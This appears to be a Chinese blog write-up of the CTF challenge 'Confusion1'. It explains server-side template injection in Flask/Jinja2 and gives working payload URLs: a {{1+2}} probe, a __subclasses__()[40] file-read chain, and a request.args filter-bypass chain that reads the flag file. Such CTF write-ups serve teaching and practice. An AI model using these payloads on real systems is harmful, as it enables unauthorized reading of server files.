3.攻防世界 Confusion1(服务器模板注入SSTI)

news2025/2/9 2:37:02

题目描述如下

进入题目页面如下

图片是蟒蛇、大象?python、php?

猜测需要代码审计

点击

F12查看源码,有所提示flag

但是也没有其他信息了

猜测本题存在SSTI(服务器模板注入)漏洞,为验证,构造payload

/login.php/{ {1+2}}

页面返回3,输入的1+2执行了

所以服务器也执行了{ {}}里的内容,故存在SSTI漏洞


SSTI(服务器模板注入)漏洞

基本概念

在 Web 应用开发中,为实现动态页面的生成,常常会使用模板引擎。模板引擎将模板文件和动态数据相结合,生成最终的 HTML 页面返回给用户。而当应用程序在处理用户输入时,未对其进行严格的过滤和验证,直接将用户输入嵌入到模板中进行渲染,就可能导致服务器模板注入漏洞

产生原因

在接收用户输入时,没有对输入内容进行严格的检查和过滤,直接将其传递给模板引擎进行处理。在一个使用 Flask 框架的应用中,直接将用户输入的参数拼接到模板字符串中,没有做任何过滤,就可能引发 SSTI 漏洞

模板引擎的配置不当也可能导致漏洞。有些模板引擎在默认情况下可能允许执行某些危险的操作

攻击原理

通过构造特殊的输入,让模板引擎将其解析为恶意的模板指令并执行。不同的模板引擎有不同的语法,这就需要了解目标应用所使用的模板引擎,然后使用相应的语法进行攻击。

检测方法

手动测试:通过构造一些简单的测试用例,如数学表达式({ { 1+1 }})、函数调用等,观察页面的响应。如果页面返回了表达式的计算结果,那么很可能存在 SSTI 漏洞。

工具:使用一些安全测试工具,如 Burp Suite、Nmap 等,这些工具可以帮助快速发现潜在的 SSTI 漏洞。在 Burp Suite 的 Intruder 模块中,可以设置不同的有效负载对目标应用进行测试。


测试是Jinja2模板

Jinja2 是 Python 中常用的模板引擎

原理

Jinja2 允许在模板中使用 Python 表达式,我们可以利用其内置的对象和函数来实现文件读取

读取文件:使用 Python 的 open 函数来读取文件,构造payload如下

http://61.147.171.105:56370/login.php/{
  
  { open('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt').read() }}

传参,报错了,看来是有过滤

再次构造

利用 getattr 函数

getattr 函数可以动态获取对象的属性或方法

http://61.147.171.105:56370/login.php/{
  
  { ''.__class__.__mro__[2].__subclasses__()[40]( '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' ).read() }}

也过滤了qyq

试试逐字符拼接函数名

http://61.147.171.105:56370/login.php/{
  
  { ''.__class__.__mro__[2].__subclasses__()[40]( '/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt' )[ 'r' + 'e' + 'a' + 'd' ]() }}

还是不行,再试试request函数

构造payload

http://61.147.171.105:56370/login.php/{
  
  {''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read

以一个空字符串 '' 作为起始对象,因为在 Python 中,所有对象都继承自 object 类,我们可以通过空字符串对象逐步向上查找类层次结构

''.__class__:获取空字符串对象的类,即 str 类。

__mro__:是 Python 类的一个属性,它表示方法解析顺序(Method Resolution Order),是一个包含类层次结构的元组。

[2]:通过索引 2 可以从 str 类的 __mro__ 元组中获取到 object 类。在 Python 中,object 类是所有类的基类,我们可以通过它获取所有子类列表

__subclasses__() 是 Python 类的一个方法,它会返回该类的所有直接子类组成的列表

索引 40 对应的类通常是 _io.TextIOWrapper 类(在 Python 3 中)或者 file 类(在 Python 2 中),这个类可以用于文件的读写操作

调用 _io.TextIOWrapper 类的构造函数,传入要读取的文件路径,从而打开指定文件

.read():调用打开文件对象的 read 方法,读取文件的全部内容

终于得到flag


Flask 框架

Flask 是一个轻量级的 Python Web 框架,也被称为 “微框架”,它为开发者提供了创建 Web 应用的基础工具和功能,易于上手和扩展

特点

  1. 轻量级:Flask 核心简单且小巧,仅包含了 Web 应用的基本功能,如路由、请求处理、响应返回等,不强制开发者使用特定的数据库、模板引擎或其他组件,给予开发者很大的自由度来选择合适的工具和库。
  2. 可扩展性强:由于其轻量级的特性,Flask 很容易与其他第三方库集成,如数据库操作库(SQLAlchemy、Peewee 等)、表单处理库(WTForms)、认证库(Flask - Login)等,开发者可以根据项目需求灵活扩展功能。
  3. 易于上手:Flask 的文档清晰简洁,代码结构简单易懂,对于初学者来说,能够快速理解和掌握其基本概念和使用方法,快速搭建起一个简单的 Web 应用。
  4. 基于 Werkzeug 和 Jinja2:Flask 基于 Werkzeug WSGI 工具包和 Jinja2 模板引擎构建。Werkzeug 提供了请求和响应处理、路由匹配等功能,Jinja2 则用于模板渲染,方便开发者生成动态 HTML 页面。

主要组件

路由系统:Flask 使用装饰器来定义路由,允许开发者将 URL 路径映射到对应的视图函数。

请求和响应:Flask 提供了request对象来处理客户端的请求信息,如获取请求参数、请求方法等;使用Response对象来返回响应给客户端。

模板引擎:Flask 默认使用 Jinja2 模板引擎,允许开发者将动态数据与 HTML 模板结合生成动态页面。

应用场景

  1. 快速原型开发:由于 Flask 易于上手和快速搭建,适合在项目初期进行快速原型开发,验证项目的可行性和功能需求。
  2. 小型 Web 应用:对于一些功能简单、规模较小的 Web 应用,如个人博客、小型企业网站等,Flask 的轻量级特性可以满足需求,并且易于维护。
  3. API 开发:Flask 可以方便地创建 RESTful API,结合 JSON 数据格式,为前端应用或其他服务提供数据接口

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2295032.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

保姆级教程 !SQL Server数据库的备份和还原

使用 SQL Server Management Studio (SSMS) 备份和还原数据库 1、数据库备份 Step 1 打开 SSMS 输入server name 以及用户名和密码连接到你的 SQL Server 实例 Step 2 展开Database,选中你要备份的数据库 Step 3 右击选中的数据库,点击Tasks --> Back …

AlwaysOn 可用性组副本所在服务器以及该副本上数据库的各项状态信息

目录标题 AlwaysOn语句代码解释:1. sys.dm_hadr_database_replica_states 视图字段详细解释及官网链接官网链接字段解释 2. sys.availability_replicas 视图字段详细解释及官网链接官网链接字段解释 查看视图的创建语句方法一:使用 SQL Server Managemen…

ip地址是手机号地址还是手机地址

在数字化生活的浪潮中,IP地址、手机号和手机地址这三个概念如影随形,它们各自承载着网络世界的独特功能,却又因名称和功能的相似性而时常被混淆。尤其是“IP地址”这一术语,经常被错误地与手机号地址或手机地址划上等号。本文旨在…

zephyr devicetree

Syntax and structure — Zephyr Project Documentation Input files There are four types of devicetree input files: sources (.dts) includes (.dtsi) overlays (.overlay) bindings (.yaml) The devicetree files inside the zephyr directory look like this: …

学习笔记:机器学习中的数学原理(一)

1. 集合 集合分为有限集和无限集; 对于有限集,两集合元素数相等即为等势; 对于无限集,两集合元素存在一一映射关系即为等势; 无限集根据是否与正整数集等势分为可数集和不可数集。 2. sigmoid函数(也叫…

鼠标滚轮冒泡事件@wheel.stop

我有一个页面,是在画布上的组件,但是组件中有一个table,table中数据多了,就会出现滚动条,正常情况下,滚动条用鼠标滚轮就可以滑动,但是这个table是在画布上,滚动滚轮会让画布缩放 在table外层的div上加上 wheel.stop,就生效了 wheel.stop 用途:这个修饰符用于处理鼠…

代码随想录算法【Day38】

Day38 322. 零钱兑换 思路 完全背包 代码 class Solution { public:int coinChange(vector<int>& coins, int amount) {vector<int> dp(amount 1, INT_MAX);dp[0] 0;for (int i 0; i < coins.size(); i) { // 遍历物品for (int j coins[i]; j <…

51单片机之冯·诺依曼结构

一、概述 8051系列单片机将作为控制应用最基本的内容集成在一个硅片上&#xff0c;其内部结构如图4-1所示。作为单一芯片的计算机&#xff0c;它的内部结构与一台计算机的主机非常相似。其中微处理器相当于计算机中的CPU&#xff0c;由运算器和控制器两个部分构成&#xff1b;…

02.07 TCP服务器与客户端的搭建

一.思维导图 二.使用动态协议包实现服务器与客户端 1. 协议包的结构定义 首先&#xff0c;是协议包的结构定义。在两段代码中&#xff0c;pack_t结构体都被用来表示协议包&#xff1a; typedef struct Pack {int size; // 记录整个协议包的实际大小enum Type type; …

【CubeMX+STM32】SD卡 文件系统读写 FatFs+SDIO+DMA

本篇&#xff0c;将使用CubeMXKeil&#xff0c;创建一个SD卡的 FatFSSDIODMA 文件系统读写工程。 目录 一、简述 二、CubeMX 配置 FatFSSDIO DMA 三、Keil 编辑代码 四、实验效果 实现效果&#xff0c;如下图&#xff1a; 一、简述 上两篇&#xff0c;已循序渐进讲解了SD、…

51单片机之使用Keil uVision5创建工程以及使用stc-isp进行程序烧录步骤

一、Keil uVision5创建工程步骤 1.点击项目&#xff0c;新建 2.新建目录 3.选择目标机器&#xff0c;直接搜索at89c52选择&#xff0c;然后点击OK 4.是否添加起吊文件&#xff0c;一般选择否 5.再新建的项目工程中添加文件 6.选择C文件 7.在C文件中右键&#xff0c;添加…

aws(学习笔记第二十七课) 使用aws API Gateway+lambda体验REST API

aws(学习笔记第二十七课) 使用aws API Gatewaylambda体验REST API 学习内容&#xff1a; 使用aws API Gatewaylambda 1. 使用aws API Gatewaylambda 作成概要 使用api gateway定义REST API&#xff0c;之后再接收到了http request之后&#xff0c;redirect到lambda进行执行。…

5 前端系统开发:Vue2、Vue3框架(上):Vue入门式开发和Ajax技术

文章目录 前言一、Vue框架&#xff08;简化DOM操作的一个前端框架&#xff09;&#xff1a;基础入门1 Vue基本概念2 快速入门&#xff1a;创建Vue实例&#xff0c;初始化渲染&#xff08;1&#xff09;创建一个入门Vue实例&#xff08;2&#xff09;插值表达式&#xff1a;{{表…

快速在wsl上部署学习使用c++轻量化服务器-学习笔记

知乎上推荐的Tinywebserver这个服务器&#xff0c;快速部署搭建&#xff0c;学习c服务器开发 仓库地址 githubhttps://link.zhihu.com/?targethttps%3A//github.com/qinguoyi/TinyWebServerhttps://link.zhihu.com/?targethttps%3A//github.com/qinguoyi/TinyWebServer 在…

2025年Android NDK超全版本下载地址

Unity3D特效百例案例项目实战源码Android-Unity实战问题汇总游戏脚本-辅助自动化Android控件全解手册再战Android系列Scratch编程案例软考全系列Unity3D学习专栏蓝桥系列ChatGPT和AIGC &#x1f449;关于作者 专注于Android/Unity和各种游戏开发技巧&#xff0c;以及各种资源分…

React 设计模式:实用指南

React 提供了众多出色的特性以及丰富的设计模式&#xff0c;用于简化开发流程。开发者能够借助 React 组件设计模式&#xff0c;降低开发时间以及编码的工作量。此外&#xff0c;这些模式让 React 开发者能够构建出成果更显著、性能更优越的各类应用程序。 本文将会为您介绍五…

B站自研的第二代视频连麦系统(上)

导读 本系列文章将从客户端、服务器以及音视频编码优化三个层面&#xff0c;介绍如何基于WebRTC构建视频连麦系统。希望通过这一系列的讲解&#xff0c;帮助开发者更全面地了解 WebRTC 的核心技术与实践应用。 背景 在文章《B站在实时音视频技术领域的探索与实践》中&#xff…

使用Python实现PDF与SVG相互转换

目录 使用工具 使用Python将SVG转换为PDF 使用Python将SVG添加到现有PDF中 使用Python将PDF转换为SVG 使用Python将PDF的特定页面转换为SVG SVG&#xff08;可缩放矢量图形&#xff09;和PDF&#xff08;便携式文档格式&#xff09;是两种常见且广泛使用的文件格式。SVG是…

[渗透测试]热门搜索引擎推荐— — shodan篇

[渗透测试]热门搜索引擎推荐— — shodan篇 免责声明&#xff1a;本文仅用于分享渗透测试工具&#xff0c;大家使用时&#xff0c;一定需要遵守相关法律法规。 除了shodan&#xff0c;还有很多其他热门的&#xff0c;比如&#xff1a;fofa、奇安信的鹰图、钟馗之眼等&#xff0…

基于物联网技术的智能寻车引导系统方案:工作原理、核心功能及系统架构

本文专为IT技术员、软件开发工程师及智能停车领域专业人士打造&#xff0c;旨在深入剖析智能寻车引导系统的构建与优化过程。如需获取详细解决方案可前往文章最下方获取&#xff0c;如有项目需求及技术合作可私信作者。 智能寻车引导系统是一种集智能化、自动化于一体的停车管理…